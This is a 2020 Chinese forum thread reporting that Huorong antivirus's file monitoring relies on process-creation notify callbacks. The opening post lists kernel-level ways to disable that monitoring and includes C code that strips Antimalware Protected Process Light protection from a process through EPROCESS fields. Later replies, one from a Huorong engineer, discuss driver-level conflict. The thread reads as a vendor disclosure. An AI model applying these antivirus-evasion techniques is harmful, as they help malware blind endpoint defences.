火绒文件监控BUG

Yuki丶

1.这是之前(几个月前)偶然一次操作发现的 今天火绒群群友刚好又在讨论如何关闭/禁用火绒 于是就有了这篇帖。


先来说说是怎么发现的吧:
在虚拟机测试PspNotifyEnableMask动态禁用通知时 发现原本火绒监控能查杀的样本突然不检测了(压缩包解压),后来用WKE(Windows-Kernel-Explorer) 关闭通知 结果也是一样的 后面就发现火绒靠的CreateProcess实现的监控


如何干掉它呢(举几个例子):
1.动态定位PspNotifyEnableMask 改0 (PsSetLoadImageNotifyRoutineEx->PspNotifyEnableMask)
2.枚举CreateProcess 移除/修改火绒注册的通知 (PsSetCreateProcessNotifyRoutineEx->PspSetCreateProcessNotifyRoutine->PspCreateProcessNotifyRoutine)

甚至还可以用火绒的CreateProcess来安排他自己(CreateInfo->CreationStatus = STATUS_VIRUS_INFECTED):



顺便说说怎么干掉AM-PPL(Antimalware Protected Process Light technology):

1.   ULONG Protection = 0, SignatureLevel = 0, SectionSignatureLevel = 0, MitigationFlags = 0;
   
2.                 Protection = *(ULONG*)((PUCHAR)PsGetProcessProtection + 2);
   
3.                 MitigationFlags = *(ULONG*)((PUCHAR)PsIsWin32KFilterEnabledForProcess + 2);
   
4.                 SignatureLevel = *(ULONG*)((PUCHAR)PsGetProcessSignatureLevel + 15);
   
5.                 SectionSignatureLevel = SignatureLevel + 1;
   
6. 
   
7.                 PUCHAR pProtectValue = (PUCHAR)EProcess + Protection;
   
8.                 PS_PROTECTION PsProtect = { 0 };
   
9.                 PsProtect.Flags.Signer = PsProtectedSignerNone;
   
10.                 PsProtect.Flags.Type = PsProtectedTypeNone;
    
11.                 *pProtectValue = PsProtect.Level;
    
12.                 PMITIGATION_FLAGS pFlags2 = (PMITIGATION_FLAGS)((PUCHAR)EProcess + MitigationFlags);
    
13.                 pFlags2->DisableDynamicCode = 0;
    
14.                 PSE_SIGNING_LEVEL pSignLevel = (PSE_SIGNING_LEVEL)((PUCHAR)EProcess + SignatureLevel);
    
15.                 PSE_SIGNING_LEVEL pSignLevelSection = (PSE_SIGNING_LEVEL)((PUCHAR)EProcess + SectionSignatureLevel);
    
16.                 *pSignLevel = *pSignLevelSection = SE_SIGNING_LEVEL_UNCHECKED;

复制代码

PPL其实用处不大 R0该怎么搞还是怎么搞 只能防一下R3

αdmin

拜见姥姥

MagicFuzzX

这不就是驱动层对抗了嘛

KeepSky

驱动对抗，各杀软估计都难抗衡！

pal家族

@wowocock 来发表下意见？

Yuki丶

MagicFuzzX 发表于 2020-7-26 20:30
这不就是驱动层对抗了嘛

驱动可以不加载(返回加载失败

MagicFuzzX

Yuki丶 发表于 2020-7-26 20:42
驱动可以不加载(返回加载失败

你StartService就应该被拦截了吧，跟DriverEntry返回什么没关系吧

treeyard

拜见姥姥

Yuki丶

MagicFuzzX 发表于 2020-7-26 20:43
你StartService就应该被拦截了吧，跟DriverEntry返回什么没关系吧

并没有拦截...(火绒默认设置是不拦截的

Yuki丶

KeepSky 发表于 2020-7-26 20:33
驱动对抗，各杀软估计都难抗衡！

我还测过eset eset没这个问题

上官婉儿丿

pal家族 发表于 2020-7-26 20:37
@wowocock 来发表下意见？

这哥们是谁啊，看头像有点吊的样子

αdmin

上官婉儿丿 发表于 2020-7-26 21:37
这哥们是谁啊，看头像有点吊的样子

360急救箱的大佬

火绒工程师

您好，我们这边本地确认一下，感谢您的反馈~

wowocock

pal家族 发表于 2020-7-26 20:37
@wowocock 来发表下意见？

驱动级的对抗对于所有杀软来说基本是不做的，即使是360的主防，也只针对R3.因为就安全来说如果恶意都进R0了那么防护就没有任何意义了。基本交给查杀来处理。

火绒工程师

您好，感谢反馈，楼主列出的几个操作，都需要加载驱动，进入ring0才可以。
关于驱动对抗，火绒之前做过回复
https://www.zhihu.com/question/399472910/answer/1265929869

西行寺幽幽子.

火绒工程师 发表于 2020-7-27 11:59
您好，感谢反馈，楼主列出的几个操作，都需要加载驱动，进入ring0才可以。
关于驱动对抗，火绒之前做过回 ...

你们火绒是R0吗？

西行寺幽幽子.

wowocock 发表于 2020-7-27 10:07
驱动级的对抗对于所有杀软来说基本是不做的，即使是360的主防，也只针对R3.因为就安全来说如果恶意都进R0 ...

你是360急救箱的开发者？

Yuki丶

火绒工程师 发表于 2020-7-27 11:59
您好，感谢反馈，楼主列出的几个操作，都需要加载驱动，进入ring0才可以。
关于驱动对抗，火绒之前做过回 ...

建议换一种监控方式 其它杀软不会出现这种问题呢

火绒工程师

您好，升级后wek将添加程序执行控制-风险工具，感谢您的反馈~

wowocock

Yuki丶 发表于 2020-7-27 15:09
建议换一种监控方式 其它杀软不会出现这种问题呢

只要能进R0，不管你用监控什么方式，无论你是过滤还是回调，还是啥的，统统可以被干掉，没什么意义，防止恶意进R0才是该干的事。人家也回答的很清楚了。